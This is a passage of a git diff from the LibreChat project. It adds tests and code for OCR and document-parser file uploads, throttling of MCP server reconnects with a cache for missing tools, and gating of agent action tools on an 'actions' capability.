+ mimetype: DOCX_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ expect(getStrategyFunctions).not.toHaveBeenCalledWith(FileSources.mistral_ocr);
+ });
+
+ test('does not invoke any OCR strategy for unsupported MIME types without OCR config', async () => {
+ const req = makeReq({ mimetype: 'text/plain', ocrConfig: null });
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow('File type text/plain is not supported for text parsing.');
+
+ expect(getStrategyFunctions).not.toHaveBeenCalled();
+ });
+
+ test.each([
+ ['ODT', ODT_MIME],
+ ['ODP', ODP_MIME],
+ ['ODG', ODG_MIME],
+ ])('routes %s through configured OCR when OCR supports the type', async (_, mime) => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [mime] }));
+ const req = makeReq({
+ mimetype: mime,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+ });
+
+ test('throws instead of falling back to parseText when document_parser fails for a document MIME type', async () => {
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest.fn().mockRejectedValue(new Error('No text found in document')),
+ });
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+ const { parseText } = require('@librechat/api');
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow(/image-based and requires an OCR service/);
+
+ expect(parseText).not.toHaveBeenCalled();
+ });
+
+ test('falls back to document_parser when configured OCR fails for a document MIME type', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ const failingUpload = jest.fn().mockRejectedValue(new Error('OCR API returned 500'));
+ const fallbackUpload = jest
+ .fn()
+ .mockResolvedValue({ text: 'parsed text', bytes: 11, filepath: 'doc://result' });
+ getStrategyFunctions
+ .mockReturnValueOnce({ handleFileUpload: failingUpload })
+ .mockReturnValueOnce({ handleFileUpload: fallbackUpload });
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).resolves.not.toThrow();
+
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('throws when both configured OCR and document_parser fallback fail', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest.fn().mockRejectedValue(new Error('failure')),
+ });
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+ const { parseText } = require('@librechat/api');
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow(/image-based and requires an OCR service/);
+
+ expect(parseText).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('text size guard', () => {
+ test('throws before writing to MongoDB when extracted text exceeds 15MB', async () => {
+ const oversizedText = 'x'.repeat(15 * 1024 * 1024 + 1);
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest.fn().mockResolvedValue({
+ text: oversizedText,
+ bytes: Buffer.byteLength(oversizedText, 'utf8'),
+ filepath: 'doc://result',
+ }),
+ });
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+ const { createFile } = require('~/models');
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow(/exceeds the 15MB storage limit/);
+
+ expect(createFile).not.toHaveBeenCalled();
+ });
+
+ test('succeeds when extracted text is within the 15MB limit', async () => {
+ const okText = 'x'.repeat(1024);
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest.fn().mockResolvedValue({
+ text: okText,
+ bytes: Buffer.byteLength(okText, 'utf8'),
+ filepath: 'doc://result',
+ }),
+ });
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).resolves.not.toThrow();
+ });
+ });
+});
diff --git a/api/server/services/Files/strategies.js b/api/server/services/Files/strategies.js
index 2ad526194b..25341b5715 100644
--- a/api/server/services/Files/strategies.js
+++ b/api/server/services/Files/strategies.js
@@ -1,5 +1,6 @@
const { FileSources } = require('librechat-data-provider');
const {
+ parseDocument,
uploadMistralOCR,
uploadAzureMistralOCR,
uploadGoogleVertexMistralOCR,
@@ -246,6 +247,26 @@ const vertexMistralOCRStrategy = () => ({
handleFileUpload: uploadGoogleVertexMistralOCR,
});
+const documentParserStrategy = () => ({
+ /** @type {typeof saveFileFromURL | null} */
+ saveURL: null,
+ /** @type {typeof getLocalFileURL | null} */
+ getFileURL: null,
+ /** @type {typeof saveLocalBuffer | null} */
+ saveBuffer: null,
+ /** @type {typeof processLocalAvatar | null} */
+ processAvatar: null,
+ /** @type {typeof uploadLocalImage | null} */
+ handleImageUpload: null,
+ /** @type {typeof prepareImagesLocal | null} */
+ prepareImagePayload: null,
+ /** @type {typeof deleteLocalFile | null} */
+ deleteFile: null,
+ /** @type {typeof getLocalFileStream | null} */
+ getDownloadStream: null,
+ handleFileUpload: parseDocument,
+});
+
// Strategy Selector
const getStrategyFunctions = (fileSource) => {
if (fileSource === FileSources.firebase) {
@@ -270,6 +291,8 @@ const getStrategyFunctions = (fileSource) => {
return azureMistralOCRStrategy();
} else if (fileSource === FileSources.vertexai_mistral_ocr) {
return vertexMistralOCRStrategy();
+ } else if (fileSource === FileSources.document_parser) {
+ return documentParserStrategy();
} else if (fileSource === FileSources.text) {
return localStrategy(); // Text files use local strategy
} else {
diff --git a/api/server/services/GraphTokenService.js b/api/server/services/GraphTokenService.js
index d5cd6a94f2..843adbe5a2 100644
--- a/api/server/services/GraphTokenService.js
+++ b/api/server/services/GraphTokenService.js
@@ -7,7 +7,7 @@ const getLogStores = require('~/cache/getLogStores');
/**
* Get Microsoft Graph API token using existing token exchange mechanism
* @param {Object} user - User object with OpenID information
- * @param {string} accessToken - Current access token from Authorization header
+ * @param {string} accessToken - Federated access token used as OBO assertion
* @param {string} scopes - Graph API scopes for the token
* @param {boolean} fromCache - Whether to try getting token from cache first
* @returns {Promise} Graph API token response with access_token and expires_in
diff --git a/api/server/services/MCP.js b/api/server/services/MCP.js
index ad1f9f5cc3..c66eb0b6ef 100644
--- a/api/server/services/MCP.js
+++ b/api/server/services/MCP.js
@@ -34,6 +34,55 @@ const { reinitMCPServer } = require('./Tools/mcp');
const { getAppConfig } = require('./Config');
const { getLogStores } = require('~/cache');
+const MAX_CACHE_SIZE = 1000;
+const lastReconnectAttempts = new Map();
+const RECONNECT_THROTTLE_MS = 10_000;
+
+const missingToolCache = new Map();
+const MISSING_TOOL_TTL_MS = 10_000;
+
+function evictStale(map, ttl) {
+ if (map.size <= MAX_CACHE_SIZE) {
+ return;
+ }
+ const now = Date.now();
+ for (const [key, timestamp] of map) {
+ if (now - timestamp >= ttl) {
+ map.delete(key);
+ }
+ if (map.size <= MAX_CACHE_SIZE) {
+ return;
+ }
+ }
+}
+
+const unavailableMsg =
+ "This tool's MCP server is temporarily unavailable. Please try again shortly.";
+
+/**
+ * @param {string} toolName
+ * @param {string} serverName
+ */
+function createUnavailableToolStub(toolName, serverName) {
+ const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`;
+ const _call = async () => [unavailableMsg, null];
+ const toolInstance = tool(_call, {
+ schema: {
+ type: 'object',
+ properties: {
+ input: { type: 'string', description: 'Input for the tool' },
+ },
+ required: [],
+ },
+ name: normalizedToolKey,
+ description: unavailableMsg,
+ responseFormat: AgentConstants.CONTENT_AND_ARTIFACT,
+ });
+ toolInstance.mcp = true;
+ toolInstance.mcpRawServerName = serverName;
+ return toolInstance;
+}
+
function isEmptyObjectSchema(jsonSchema) {
return (
jsonSchema != null &&
@@ -211,6 +260,17 @@ async function reconnectServer({
logger.debug(
`[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`,
);
+
+ const throttleKey = `${user.id}:${serverName}`;
+ const now = Date.now();
+ const lastAttempt = lastReconnectAttempts.get(throttleKey) ?? 0;
+ if (now - lastAttempt < RECONNECT_THROTTLE_MS) {
+ logger.debug(`[MCP][reconnectServer] Throttled reconnect for ${serverName}`);
+ return null;
+ }
+ lastReconnectAttempts.set(throttleKey, now);
+ evictStale(lastReconnectAttempts, RECONNECT_THROTTLE_MS);
+
const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID;
const flowId = `${user.id}:${serverName}:${Date.now()}`;
const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS));
@@ -267,7 +327,7 @@ async function reconnectServer({
userMCPAuthMap,
forceNew: true,
returnOnOAuth: false,
- connectionTimeout: Time.TWO_MINUTES,
+ connectionTimeout: Time.THIRTY_SECONDS,
});
} finally {
// Clean up abort handler to prevent memory leaks
@@ -330,9 +390,13 @@ async function createMCPTools({
userMCPAuthMap,
streamId,
});
+ if (result === null) {
+ logger.debug(`[MCP][${serverName}] Reconnect throttled, skipping tool creation.`);
+ return [];
+ }
if (!result || !result.tools) {
logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`);
- return;
+ return [];
}
const serverTools = [];
@@ -402,6 +466,14 @@ async function createMCPTool({
/** @type {LCTool | undefined} */
let toolDefinition = availableTools?.[toolKey]?.function;
if (!toolDefinition) {
+ const cachedAt = missingToolCache.get(toolKey);
+ if (cachedAt && Date.now() - cachedAt < MISSING_TOOL_TTL_MS) {
+ logger.debug(
+ `[MCP][${serverName}][${toolName}] Tool in negative cache, returning unavailable stub.`,
+ );
+ return createUnavailableToolStub(toolName, serverName);
+ }
+
logger.warn(
`[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`,
);
@@ -415,11 +487,18 @@ async function createMCPTool({
streamId,
});
toolDefinition = result?.availableTools?.[toolKey]?.function;
+
+ if (!toolDefinition) {
+ missingToolCache.set(toolKey, Date.now());
+ evictStale(missingToolCache, MISSING_TOOL_TTL_MS);
+ }
}
if (!toolDefinition) {
- logger.warn(`[MCP][${serverName}][${toolName}] Tool definition not found, cannot create tool.`);
- return;
+ logger.warn(
+ `[MCP][${serverName}][${toolName}] Tool definition not found, returning unavailable stub.`,
+ );
+ return createUnavailableToolStub(toolName, serverName);
}
return createToolInstance({
@@ -720,4 +799,5 @@ module.exports = {
getMCPSetupData,
checkOAuthFlowStatus,
getServerConnectionStatus,
+ createUnavailableToolStub,
};
diff --git a/api/server/services/MCP.spec.js b/api/server/services/MCP.spec.js
index b2caebc91e..14a9ef90ed 100644
--- a/api/server/services/MCP.spec.js
+++ b/api/server/services/MCP.spec.js
@@ -45,6 +45,7 @@ const {
getMCPSetupData,
checkOAuthFlowStatus,
getServerConnectionStatus,
+ createUnavailableToolStub,
} = require('./MCP');
jest.mock('./Config', () => ({
@@ -1098,6 +1099,188 @@ describe('User parameter passing tests', () => {
});
});
+ describe('createUnavailableToolStub', () => {
+ it('should return a tool whose _call returns a valid CONTENT_AND_ARTIFACT two-tuple', async () => {
+ const stub = createUnavailableToolStub('myTool', 'myServer');
+ // invoke() goes through langchain's base tool, which checks responseFormat.
+ // CONTENT_AND_ARTIFACT requires [content, artifact] — a bare string would throw:
+ // "Tool response format is "content_and_artifact" but the output was not a two-tuple"
+ const result = await stub.invoke({});
+ // If we reach here without throwing, the two-tuple format is correct.
+ // invoke() returns the content portion of [content, artifact] as a string.
+ expect(result).toContain('temporarily unavailable');
+ });
+ });
+
+ describe('negative tool cache and throttle interaction', () => {
+ it('should cache tool as missing even when throttled (cross-user dedup)', async () => {
+ const mockUser = { id: 'throttle-test-user' };
+ const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+ // First call: reconnect succeeds but tool not found
+ mockReinitMCPServer.mockResolvedValueOnce({
+ availableTools: {},
+ });
+
+ await createMCPTool({
+ res: mockRes,
+ user: mockUser,
+ toolKey: `missing-tool${D}cache-dedup-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ // Second call within 10s for DIFFERENT tool on same server:
+ // reconnect is throttled (returns null), tool is still cached as missing.
+ // This is intentional: the cache acts as cross-user dedup since the
+ // throttle is per-user-per-server and can't prevent N different users
+ // from each triggering their own reconnect.
+ const result2 = await createMCPTool({
+ res: mockRes,
+ user: mockUser,
+ toolKey: `other-tool${D}cache-dedup-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(result2).toBeDefined();
+ expect(result2.name).toContain('other-tool');
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+ });
+
+ it('should prevent user B from triggering reconnect when user A already cached the tool', async () => {
+ const userA = { id: 'cache-user-A' };
+ const userB = { id: 'cache-user-B' };
+ const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+ // User A: real reconnect, tool not found → cached
+ mockReinitMCPServer.mockResolvedValueOnce({
+ availableTools: {},
+ });
+
+ await createMCPTool({
+ res: mockRes,
+ user: userA,
+ toolKey: `shared-tool${D}cross-user-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+
+ // User B requests the SAME tool within 10s.
+ // The negative cache is keyed by toolKey (no user prefix), so user B
+ // gets a cache hit and no reconnect fires. This is the cross-user
+ // storm protection: without this, user B's unthrottled first request
+ // would trigger a second reconnect to the same server.
+ const result = await createMCPTool({
+ res: mockRes,
+ user: userB,
+ toolKey: `shared-tool${D}cross-user-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(result).toBeDefined();
+ expect(result.name).toContain('shared-tool');
+ // reinitMCPServer still called only once — user B hit the cache
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+ });
+
+ it('should prevent user B from triggering reconnect for throttle-cached tools', async () => {
+ const userA = { id: 'storm-user-A' };
+ const userB = { id: 'storm-user-B' };
+ const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+ // User A: real reconnect for tool-1, tool not found → cached
+ mockReinitMCPServer.mockResolvedValueOnce({
+ availableTools: {},
+ });
+
+ await createMCPTool({
+ res: mockRes,
+ user: userA,
+ toolKey: `tool-1${D}storm-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ // User A: tool-2 on same server within 10s → throttled → cached from throttle
+ await createMCPTool({
+ res: mockRes,
+ user: userA,
+ toolKey: `tool-2${D}storm-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+
+ // User B requests tool-2 — gets cache hit from the throttle-cached entry.
+ // Without this caching, user B would trigger a real reconnect since
+ // user B has their own throttle key and hasn't reconnected yet.
+ const result = await createMCPTool({
+ res: mockRes,
+ user: userB,
+ toolKey: `tool-2${D}storm-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(result).toBeDefined();
+ expect(result.name).toContain('tool-2');
+ // Still only 1 real reconnect — user B was protected by the cache
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('createMCPTools throttle handling', () => {
+ it('should return empty array with debug log when reconnect is throttled', async () => {
+ const mockUser = { id: 'throttle-tools-user' };
+ const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+ // First call: real reconnect
+ mockReinitMCPServer.mockResolvedValueOnce({
+ tools: [{ name: 'tool1' }],
+ availableTools: {
+ [`tool1${D}throttle-tools-server`]: {
+ function: { description: 'Tool 1', parameters: {} },
+ },
+ },
+ });
+
+ await createMCPTools({
+ res: mockRes,
+ user: mockUser,
+ serverName: 'throttle-tools-server',
+ provider: 'openai',
+ userMCPAuthMap: {},
+ });
+
+ // Second call within 10s — throttled
+ const result = await createMCPTools({
+ res: mockRes,
+ user: mockUser,
+ serverName: 'throttle-tools-server',
+ provider: 'openai',
+ userMCPAuthMap: {},
+ });
+
+ expect(result).toEqual([]);
+ // reinitMCPServer called only once — second was throttled
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+ // Should log at debug level (not warn) for throttled case
+ expect(logger.debug).toHaveBeenCalledWith(expect.stringContaining('Reconnect throttled'));
+ });
+ });
+
describe('User parameter integrity', () => {
it('should preserve user object properties through the call chain', async () => {
const complexUser = {
diff --git a/api/server/services/ToolService.js b/api/server/services/ToolService.js
index eedb95bd4d..5fc95e748d 100644
--- a/api/server/services/ToolService.js
+++ b/api/server/services/ToolService.js
@@ -12,7 +12,6 @@ const {
const {
sendEvent,
getToolkitKey,
- hasCustomUserVars,
getUserMCPAuthMap,
loadToolDefinitions,
GenerationJobManager,
@@ -65,6 +64,26 @@ const { redactMessage } = require('~/config/parsers');
const { findPluginAuthsByKeys } = require('~/models');
const { getFlowStateManager } = require('~/config');
const { getLogStores } = require('~/cache');
+
+/**
+ * Resolves the set of enabled agent capabilities from endpoints config,
+ * falling back to app-level or default capabilities for ephemeral agents.
+ * @param {ServerRequest} req
+ * @param {Object} appConfig
+ * @param {string} agentId
+ * @returns {Promise>}
+ */
+async function resolveAgentCapabilities(req, appConfig, agentId) {
+ const endpointsConfig = await getEndpointsConfig(req);
+ let capabilities = new Set(endpointsConfig?.[EModelEndpoint.agents]?.capabilities ?? []);
+ if (capabilities.size === 0 && isEphemeralAgentId(agentId)) {
+ capabilities = new Set(
+ appConfig.endpoints?.[EModelEndpoint.agents]?.capabilities ?? defaultAgentCapabilities,
+ );
+ }
+ return capabilities;
+}
+
/**
* Processes the required actions by calling the appropriate tools and returning the outputs.
* @param {OpenAIClient} client - OpenAI or StreamRunManager Client.
@@ -446,17 +465,11 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
}
const appConfig = req.config;
- const endpointsConfig = await getEndpointsConfig(req);
- let enabledCapabilities = new Set(endpointsConfig?.[EModelEndpoint.agents]?.capabilities ?? []);
-
- if (enabledCapabilities.size === 0 && isEphemeralAgentId(agent.id)) {
- enabledCapabilities = new Set(
- appConfig.endpoints?.[EModelEndpoint.agents]?.capabilities ?? defaultAgentCapabilities,
- );
- }
+ const enabledCapabilities = await resolveAgentCapabilities(req, appConfig, agent.id);
const checkCapability = (capability) => enabledCapabilities.has(capability);
const areToolsEnabled = checkCapability(AgentCapabilities.tools);
+ const actionsEnabled = checkCapability(AgentCapabilities.actions);
const deferredToolsEnabled = checkCapability(AgentCapabilities.deferred_tools);
const filteredTools = agent.tools?.filter((tool) => {
@@ -469,7 +482,10 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
if (tool === Tools.web_search) {
return checkCapability(AgentCapabilities.web_search);
}
- if (!areToolsEnabled && !tool.includes(actionDelimiter)) {
+ if (tool.includes(actionDelimiter)) {
+ return actionsEnabled;
+ }
+ if (!areToolsEnabled) {
return false;
}
return true;
@@ -481,7 +497,7 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
/** @type {Record>} */
let userMCPAuthMap;
- if (hasCustomUserVars(req.config)) {
+ if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) {
userMCPAuthMap = await getUserMCPAuthMap({
tools: agent.tools,
userId: req.user.id,
@@ -766,6 +782,7 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
toolContextMap,
toolDefinitions,
hasDeferredTools,
+ actionsEnabled,
};
}
@@ -809,14 +826,7 @@ async function loadAgentTools({
}
const appConfig = req.config;
- const endpointsConfig = await getEndpointsConfig(req);
- let enabledCapabilities = new Set(endpointsConfig?.[EModelEndpoint.agents]?.capabilities ?? []);
- /** Edge case: use defined/fallback capabilities when the "agents" endpoint is not enabled */
- if (enabledCapabilities.size === 0 && isEphemeralAgentId(agent.id)) {
- enabledCapabilities = new Set(
- appConfig.endpoints?.[EModelEndpoint.agents]?.capabilities ?? defaultAgentCapabilities,
- );
- }
+ const enabledCapabilities = await resolveAgentCapabilities(req, appConfig, agent.id);
const checkCapability = (capability) => {
const enabled = enabledCapabilities.has(capability);
if (!enabled) {
@@ -833,6 +843,7 @@ async function loadAgentTools({
return enabled;
};
const areToolsEnabled = checkCapability(AgentCapabilities.tools);
+ const actionsEnabled = checkCapability(AgentCapabilities.actions);
let includesWebSearch = false;
const _agentTools = agent.tools?.filter((tool) => {
@@ -843,7 +854,9 @@ async function loadAgentTools({
} else if (tool === Tools.web_search) {
includesWebSearch = checkCapability(AgentCapabilities.web_search);
return includesWebSearch;
- } else if (!areToolsEnabled && !tool.includes(actionDelimiter)) {
+ } else if (tool.includes(actionDelimiter)) {
+ return actionsEnabled;
+ } else if (!areToolsEnabled) {
return false;
}
return true;
@@ -860,8 +873,7 @@ async function loadAgentTools({
/** @type {Record>} */
let userMCPAuthMap;
- //TODO pass config from registry
- if (hasCustomUserVars(req.config)) {
+ if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) {
userMCPAuthMap = await getUserMCPAuthMap({
tools: agent.tools,
userId: req.user.id,
@@ -949,13 +961,15 @@ async function loadAgentTools({
agentTools.push(...additionalTools);
- if (!checkCapability(AgentCapabilities.actions)) {
+ const hasActionTools = _agentTools.some((t) => t.includes(actionDelimiter));
+ if (!hasActionTools) {
return {
toolRegistry,
userMCPAuthMap,
toolContextMap,
toolDefinitions,
hasDeferredTools,
+ actionsEnabled,
tools: agentTools,
};
}
@@ -971,6 +985,7 @@ async function loadAgentTools({
toolContextMap,
toolDefinitions,
hasDeferredTools,
+ actionsEnabled,
tools: agentTools,
};
}
@@ -1103,6 +1118,7 @@ async function loadAgentTools({
userMCPAuthMap,
toolDefinitions,
hasDeferredTools,
+ actionsEnabled,
tools: agentTools,
};
}
@@ -1120,9 +1136,11 @@ async function loadAgentTools({
* @param {AbortSignal} [params.signal] - Abort signal
* @param {Object} params.agent - The agent object
* @param {string[]} params.toolNames - Names of tools to load
+ * @param {Map} [params.toolRegistry] - Tool registry
* @param {Record>} [params.userMCPAuthMap] - User MCP auth map
* @param {Object} [params.tool_resources] - Tool resources
* @param {string|null} [params.streamId] - Stream ID for web search callbacks
+ * @param {boolean} [params.actionsEnabled] - Whether the actions capability is enabled
* @returns {Promise<{ loadedTools: Array, configurable: Object }>}
*/
async function loadToolsForExecution({
@@ -1135,11 +1153,17 @@ async function loadToolsForExecution({
userMCPAuthMap,
tool_resources,
streamId = null,
+ actionsEnabled,
}) {
const appConfig = req.config;
const allLoadedTools = [];
const configurable = { userMCPAuthMap };
+ if (actionsEnabled === undefined) {
+ const enabledCapabilities = await resolveAgentCapabilities(req, appConfig, agent?.id);
+ actionsEnabled = enabledCapabilities.has(AgentCapabilities.actions);
+ }
+
const isToolSearch = toolNames.includes(AgentConstants.TOOL_SEARCH);
const isPTC = toolNames.includes(AgentConstants.PROGRAMMATIC_TOOL_CALLING);
@@ -1196,7 +1220,6 @@ async function loadToolsForExecution({
const actionToolNames = allToolNamesToLoad.filter((name) => name.includes(actionDelimiter));
const regularToolNames = allToolNamesToLoad.filter((name) => !name.includes(actionDelimiter));
- /** @type {Record} */
if (regularToolNames.length > 0) {
const includesWebSearch = regularToolNames.includes(Tools.web_search);
const webSearchCallbacks = includesWebSearch ? createOnSearchResults(res, streamId) : undefined;
@@ -1227,7 +1250,7 @@ async function loadToolsForExecution({
}
}
- if (actionToolNames.length > 0 && agent) {
+ if (actionToolNames.length > 0 && agent && actionsEnabled) {
const actionTools = await loadActionToolsForExecution({
req,
res,
@@ -1237,6 +1260,11 @@ async function loadToolsForExecution({
actionToolNames,
});
allLoadedTools.push(...actionTools);
+ } else if (actionToolNames.length > 0 && agent && !actionsEnabled) {
+ logger.warn(
+ `[loadToolsForExecution] Capability "${AgentCapabilities.actions}" disabled. ` +
+ `Skipping action tool execution. User: ${req.user.id} | Agent: ${agent.id} | Tools: ${actionToolNames.join(', ')}`,
+ );
}
if (isPTC && allLoadedTools.length > 0) {
@@ -1397,4 +1425,5 @@ module.exports = {
loadAgentTools,
loadToolsForExecution,
processRequiredActions,
+ resolveAgentCapabilities,
};
diff --git a/api/server/services/Tools/mcp.js b/api/server/services/Tools/mcp.js
index 10f2d71a18..7589043e10 100644
--- a/api/server/services/Tools/mcp.js
+++ b/api/server/services/Tools/mcp.js
@@ -1,8 +1,8 @@
const { logger } = require('@librechat/data-schemas');
const { CacheKeys, Constants } = require('librechat-data-provider');
+const { getMCPManager, getMCPServersRegistry, getFlowStateManager } = require('~/config');
const { findToken, createToken, updateToken, deleteTokens } = require('~/models');
const { updateMCPServerTools } = require('~/server/services/Config');
-const { getMCPManager, getFlowStateManager } = require('~/config');
const { getLogStores } = require('~/cache');
/**
@@ -41,6 +41,33 @@ async function reinitMCPServer({
let oauthUrl = null;
try {
+ const registry = getMCPServersRegistry();
+ const serverConfig = await registry.getServerConfig(serverName, user?.id);
+ if (serverConfig?.inspectionFailed) {
+ logger.info(
+ `[MCP Reinitialize] Server ${serverName} had failed inspection, attempting reinspection`,
+ );
+ try {
+ const storageLocation = serverConfig.dbId ? 'DB' : 'CACHE';
+ await registry.reinspectServer(serverName, storageLocation, user?.id);
+ logger.info(`[MCP Reinitialize] Reinspection succeeded for server: ${serverName}`);
+ } catch (reinspectError) {
+ logger.error(
+ `[MCP Reinitialize] Reinspection failed for server ${serverName}:`,
+ reinspectError,
+ );
+ return {
+ availableTools: null,
+ success: false,
+ message: `MCP server '${serverName}' is still unreachable`,
+ oauthRequired: false,
+ serverName,
+ oauthUrl: null,
+ tools: null,
+ };
+ }
+ }
+
const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`];
const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS));
const mcpManager = getMCPManager();
diff --git a/api/server/services/__tests__/ToolService.spec.js b/api/server/services/__tests__/ToolService.spec.js
index 2f00bbc3d6..a468a88eb3 100644
--- a/api/server/services/__tests__/ToolService.spec.js
+++ b/api/server/services/__tests__/ToolService.spec.js
@@ -1,15 +1,304 @@
-const { AgentCapabilities, defaultAgentCapabilities } = require('librechat-data-provider');
+const {
+ Tools,
+ Constants,
+ EModelEndpoint,
+ actionDelimiter,
+ AgentCapabilities,
+ defaultAgentCapabilities,
+} = require('librechat-data-provider');
+
+const mockGetEndpointsConfig = jest.fn();
+const mockGetMCPServerTools = jest.fn();
+const mockGetCachedTools = jest.fn();
+jest.mock('~/server/services/Config', () => ({
+ getEndpointsConfig: (...args) => mockGetEndpointsConfig(...args),
+ getMCPServerTools: (...args) => mockGetMCPServerTools(...args),
+ getCachedTools: (...args) => mockGetCachedTools(...args),
+}));
+
+const mockLoadToolDefinitions = jest.fn();
+const mockGetUserMCPAuthMap = jest.fn();
+jest.mock('@librechat/api', () => ({
+ ...jest.requireActual('@librechat/api'),
+ loadToolDefinitions: (...args) => mockLoadToolDefinitions(...args),
+ getUserMCPAuthMap: (...args) => mockGetUserMCPAuthMap(...args),
+}));
+
+const mockLoadToolsUtil = jest.fn();
+jest.mock('~/app/clients/tools/util', () => ({
+ loadTools: (...args) => mockLoadToolsUtil(...args),
+}));
+
+const mockLoadActionSets = jest.fn();
+jest.mock('~/server/services/Tools/credentials', () => ({
+ loadAuthValues: jest.fn().mockResolvedValue({}),
+}));
+jest.mock('~/server/services/Tools/search', () => ({
+ createOnSearchResults: jest.fn(),
+}));
+jest.mock('~/server/services/Tools/mcp', () => ({
+ reinitMCPServer: jest.fn(),
+}));
+jest.mock('~/server/services/Files/process', () => ({
+ processFileURL: jest.fn(),
+ uploadImageBuffer: jest.fn(),
+}));
+jest.mock('~/app/clients/tools/util/fileSearch', () => ({
+ primeFiles: jest.fn().mockResolvedValue({}),
+}));
+jest.mock('~/server/services/Files/Code/process', () => ({
+ primeFiles: jest.fn().mockResolvedValue({}),
+}));
+jest.mock('../ActionService', () => ({
+ loadActionSets: (...args) => mockLoadActionSets(...args),
+ decryptMetadata: jest.fn(),
+ createActionTool: jest.fn(),
+ domainParser: jest.fn(),
+}));
+jest.mock('~/server/services/Threads', () => ({
+ recordUsage: jest.fn(),
+}));
+jest.mock('~/models', () => ({
+ findPluginAuthsByKeys: jest.fn(),
+}));
+jest.mock('~/config', () => ({
+ getFlowStateManager: jest.fn(() => ({})),
+}));
+jest.mock('~/cache', () => ({
+ getLogStores: jest.fn(() => ({})),
+}));
+
+const {
+ loadAgentTools,
+ loadToolsForExecution,
+ resolveAgentCapabilities,
+} = require('../ToolService');
+
+function createMockReq(capabilities) {
+ return {
+ user: { id: 'user_123' },
+ config: {
+ endpoints: {
+ [EModelEndpoint.agents]: {
+ capabilities,
+ },
+ },
+ },
+ };
+}
+
+function createEndpointsConfig(capabilities) {
+ return {
+ [EModelEndpoint.agents]: { capabilities },
+ };
+}
+
+describe('ToolService - Action Capability Gating', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ mockLoadToolDefinitions.mockResolvedValue({
+ toolDefinitions: [],
+ toolRegistry: new Map(),
